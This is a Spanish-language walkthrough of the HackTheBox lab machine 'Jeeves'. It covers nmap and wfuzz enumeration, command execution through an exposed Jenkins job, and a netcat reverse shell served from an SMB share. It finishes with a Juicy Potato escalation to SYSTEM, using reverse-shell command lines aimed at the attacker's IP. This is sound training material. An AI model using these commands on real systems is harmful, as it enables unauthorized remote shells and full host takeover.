Entrada

Jeeves Writeup

Maquina windows JEEVES.

En esta maquina tendremos que hacer RCE desde una aplicacion llamada JENKINS con una version vulnerable, que nos permite ejecutar comandos de windows cmd o powershell , ejecutaremos comandos para obtener una revershell.

Reconocimiento.

Con nmap ejecutamos el reconocimiento.

1
2
3
4
5
6
7
8
>nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn -oG scan 10.10.10.63
 
>Host: 10.10.10.63 ()	Status: Up
Host: 10.10.10.63 ()	
Ports: 80/open/tcp//http/// 
135/open/tcp//msrpc/// 
445/open/tcp//microsoft-ds/// 
50000/open/tcp//ibm-db2/// Ignored State: filtered (65531)

Copiamos los puertos abiertos y ejecutamos con nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
>nmap -sCV -p80,135,445,50000 -Pn -oN scanport 10.10.10.63

>PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2022-09-08T21:10:39
|_  start_date: 2022-09-08T21:07:37
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m58s

Enumeracion

Vamos a revisar los puertos abiertos 80,135,445,50000

Puerto 445

Usamos crackmapexec para obtener informacion de la maquina, vemos que es un windows 10 el nombre del dominio y el nombre da la maquina.

1
2
3
>crackmapexec smb 10.10.10.63

>SMB         10.10.10.63     445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False)

Con smbclient vemos que no tenemos acceso a recursos compartidos.

1
2
3
>smbclient -L 10.10.10.63 -N

>session setup failed: NT_STATUS_ACCESS_DENIED

Puerto 80.

Vamos a la url http://10.10.10.63

imagen-de-prueba

Vemos que la pagina nos muestra algo sencillo y un campo para hacer preguntas, hacemos una prueba ingresando algo en el campo search pero la pagina nos redireciona a una imagen que habla de un error

imagen-de-prueba

Puerto 50000

Revisando el scanport de nmap vemos el puerto 50000 abierto con un servicio

1
2
3
4
50000/tcp open  http         `Jetty 9.4.z-SNAPSHOT`
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Vamos a la url http://10.10.10.63:50000

imagen-de-prueba

Viedo esto intentamos realizar un escaneo con wfuzz a la url con el puerto 50000.

1
>wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.63:50000/FUZZ

Despues de unos minutos el escaneo nos da el una ruta llamada askjeeves

imagen-de-prueba

Vamos a la url con la nueva ruta http://10.10.10.63:50000/askjeeves, nos lleva a jenkins que es un servidor de automatizacion.

imagen-de-prueba

Tenemos un panel donde investigando un poco vemos q podemos crear tareas

imagen-de-prueba

Analizando un poco vemos que la tarea nos permite ejecutar comandos windows con cme o powershell, viendo esto ya imaginamos vias potenciales para acceder al sistema.

imagen-de-prueba

imagen-de-prueba

Creamos la tarea con un comando por cmd para hacer un ping a mi maquina.

imagen-de-prueba

Ejecuto tcpdump para ver si mi maquina responde al ping

1
>sudo tcpdump -i tun0 icmp

imagen-de-prueba

Como se ve en la imagen tengo respuesta y ya conesto sabemos que el servidor jenkins es vulnerable y se puede hacer un RCE.

Intrusion

Tenemos conocimiento de que podemos hacer RCE con el servidor jenkins, hay muchas formas de ejecutar comandos para tener acceso remoto a la maquina, yo lo hare con smbserver para crear un recurso compartido y luego creo una tarea en jenkins que ejecute un comando para generar una revershell.

  1. Con smbserver creo un recurso compartido.
1
>sudo impacket-smbserver smbFolder $(pwd) -smb2support 
  1. Descargo netcatx64.exe y lo guardo en la ruta de mi recurso compartido.

  2. Creo la tarea en jenkins y agrego el siguiente comando.

1
>\\10.10.14.16\smbFolder\ncx64.exe -e cmd 10.10.14.16 443
  1. Nos ponemos en escucha con nc ,el smbserver esta activo , ejecutamos la tarea y obtenemos una revershell

imagen-de-prueba

Escalar privilegios

Una vez dentro de la maquina vemos que estamos con el usuario kohsuke, ejecutemos algunos comandos que nos de informacion de este usuario.

1
>whoami /priv

imagen de seimpersonal

El usuario cuenta con el SeImpersonatePrivilege lo cual nos proporciona una forma de escalar privilegios, para eso usamos una herramienta llamada Juicy Potato que nos permite escalar desde una cuenta normal y ejecutar comandos como NT AUTHORITY\SYSTEM.

  1. Descargamos desde github el binario .exe
  2. Subimos el binario a la maquina victima
  3. Ejecutamos el siguiente comando para escalar privilegios.
1
2
3
.\jp.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\System32\spool\drivers\color\nc64.exe -e cmd 10.10.14.16 443"

##La ruta del ejemplo es de donde almacene el netcat

imagen-de-prueba

Esta entrada está licenciada bajo CC BY 4.0 por el autor.